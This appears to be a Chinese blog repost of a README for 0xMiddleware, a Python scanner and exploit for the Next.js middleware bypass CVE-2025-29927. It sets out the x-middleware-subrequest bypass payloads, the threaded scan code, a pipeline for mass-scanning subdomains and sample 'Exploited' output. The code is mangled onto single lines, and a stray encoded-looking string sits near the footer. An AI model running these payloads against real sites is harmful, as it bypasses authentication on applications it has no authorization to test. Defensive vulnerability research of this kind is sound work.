铁岭市网站建设_网站建设公司_留言板_seo优化
2025/12/29 6:03:51 网站建设 项目流程

项目标题与描述

0xMiddleware 是一个针对 CVE-2025-29927 Next.js 中间件绕过漏洞的专业安全工具。该漏洞允许攻击者通过操纵内部头部 x-middleware-subrequest 来绕过 Next.js 中间件的安全检查机制,如身份验证、重定向和过滤等安全防护措施。

本项目实现了自动化漏洞检测与利用功能,能够高效扫描目标 Next.js 应用程序,识别存在漏洞的端点,并提供详细的漏洞验证报告。

功能特性

🔥 核心功能亮点

  • 自动化漏洞检测:自动批量扫描 URL 列表,识别存在 CVE-2025-29927 漏洞的 Next.js 应用

  • 智能绕过验证:使用多种有效载荷测试中间件绕过,包括:

    • 标准中间件路径:middleware
    • 页面中间件:pages/_middleware
    • 源码中间件:src/middleware
    • 多级中间件链:middleware:middleware:middleware:middleware:middleware
    • 源码多级中间件:src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
  • 精确结果分类

    • :check_mark_button: 确认绕过:状态码从 403 变为 200(完全绕过)
    • ⚠️ 响应差异:状态码相同但内容不同(部分绕过或异常行为)
  • 多线程并发扫描:使用 ThreadPoolExecutor 实现高效并发,支持最多 10 个并发线程

  • 详细结果输出:彩色终端输出,清晰区分不同类型的结果

  • 自动结果保存:将发现保存到文件中便于后续分析:

    • middleware_exploited.txt:存储确认绕过的目标
    • middleware_response_diff.txt:存储响应差异的目标

:bullseye: 技术特点

  • 零依赖性安装:仅需标准 Python 库(requests)
  • 跨平台支持:支持 Windows、Linux、macOS 系统
  • 易于集成:可作为独立工具或集成到安全测试框架中使用

安装指南

系统要求

  • Python 3.6+ 运行环境
  • 网络连接:用于发送 HTTP 请求
  • 目标权限:需要访问目标 Next.js 应用的权限

安装步骤

  1. 克隆项目仓库
git clone https://github.com/0x0Luk/0xMiddleware.git
cd 0xMiddleware
  1. 安装 Python 依赖
pip install requests
  1. 准备目标列表
    创建名为 urls.txt 的文件,每行包含一个目标 URL:
https://target-domain.com/protected-path
https://another-target.com/admin
https://vulnerable-app.com/restricted

快速验证

python3 -c "import requests; print('Dependencies ready!')"

使用说明

基础使用方法

  1. 准备目标文件:创建包含目标 URL 的文本文件
  2. 运行扫描工具
python3 0xMiddleware.py urls.txt
  1. 查看扫描结果
# 查看确认绕过的目标
cat middleware_exploited.txt# 查看响应差异的目标
cat middleware_response_diff.txt

典型使用场景

场景一:批量漏洞验证

# 扫描多个目标应用
python3 0xMiddleware.py client_sites.txt# 输出示例:
[:check_mark:] Exploited: https://client-a.com/admin (payload: middleware)
[•] Response difference: https://client-b.com/dashboard (payload: src/middleware)

场景二:渗透测试集成

# 与其他工具结合使用
subfinder -d target.com | httpx | tee targets.txt
python3 0xMiddleware.py targets.txt

API 概览

工具采用简单的命令行接口:

  • 必需参数:目标 URL 列表文件路径
  • 输出格式:彩色控制台输出 + 文本文件记录
  • 错误处理:自动跳过无法访问的目标,继续扫描其他目标

核心代码

主扫描函数实现

def check_middleware_bypass(url):"""检查单个URL是否存在中间件绕过漏洞参数:url: 要测试的目标URL"""try:# 发送正常请求作为基线response_normal = requests.get(url, timeout=5, verify=False)except Exception:# 目标不可访问,跳过return# 遍历所有中间件载荷进行测试for payload in middleware_payloads:try:# 设置绕过头部headers = {"x-middleware-subrequest": payload}response_bypass = requests.get(url, headers=headers, timeout=5, verify=False)# 情况1: 确认绕过 (403 -> 200)if response_normal.status_code == 403 and response_bypass.status_code == 200:colored_url = f"{BLUE}{url}{RESET}"print(f"{GREEN}[:check_mark:] Exploited:{RESET} {colored_url} {RED}(payload: {payload}){RESET}")confirmed_bypass.append(f"{url} [payload: {payload}]")with open("middleware_exploited.txt", "a") as f:f.write(f"{url} [payload: {payload}]\n")continue  # 情况2: 响应内容差异elif response_normal.text != response_bypass.text:print(f"{BLUE}[•] {RESET}Response difference:{BLUE} {url} {RED}(payload: {payload}){RESET}")difference_only.append(f"{url} [payload: {payload}]")with open("middleware_response_diff.txt", "a") as f:f.write(f"{url} [payload: {payload}]\n")continue except Exception:# 单个载荷测试失败,继续测试下一个continue

主程序入口

def main():"""程序主函数,处理命令行参数并启动扫描"""# 检查命令行参数if len(sys.argv) < 2:print(f"{RED}[!] {RESET}Usage: python3 0xMiddleware.py <urls.txt>{RESET}")sys.exit(1)# 显示工具横幅banner()# 读取目标URL列表url_list_file = sys.argv[1]print(f"{BLUE}[•] {RESET}Loading URLs from:{BLUE} {url_list_file}{RESET}")with open(url_list_file, "r") as f:urls = [line.strip() for line in f if line.strip()]print(f"{BLUE}[•] {RESET}Starting scan on {BLUE}{len(urls)}{RESET} targets...{RESET}\n")# 使用线程池并发扫描with ThreadPoolExecutor(max_workers=10) as executor:executor.map(check_middleware_bypass, urls)# 扫描完成,输出统计信息print(f"\n{BLUE}[•] {RESET}Scan completed.{RESET}")if confirmed_bypass:print(f"{GREEN}[:check_mark:] {RESET}Found {len(confirmed_bypass)} bypass hits > middleware_exploited.txt{RESET}")if difference_only:print(f"{BLUE}[•] {RESET}Found {len(difference_only)} response diffs > middleware_response_diff.txt{RESET}")if not confirmed_bypass:print(f"{RED}[!] {RESET}No vulnerable URLs found {BLUE};-;{RESET}")

中间件载荷配置

# 中间件绕过载荷列表
middleware_payloads = ["middleware",  # 标准中间件标识"pages/_middleware",  # 页面中间件路径"src/middleware",  # 源码目录中间件"middleware:middleware:middleware:middleware:middleware",  # 多级中间件链"src/middleware:src/middleware:src/middleware:src/middleware:src/middleware"  # 源码多级中间件链
]

终端颜色常量

# ANSI 颜色代码,用于彩色终端输出
RED = "\033[91m"    # 红色:用于警告和错误
GREEN = "\033[92m"  # 绿色:用于成功提示
BLUE = "\033[94m"   # 蓝色:用于信息和URL显示
RESET = "\033[0m"   # 重置颜色

6HFtX5dABrKlqXeO5PUv/4e/swwAxhpRA5b/2uxt890=
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询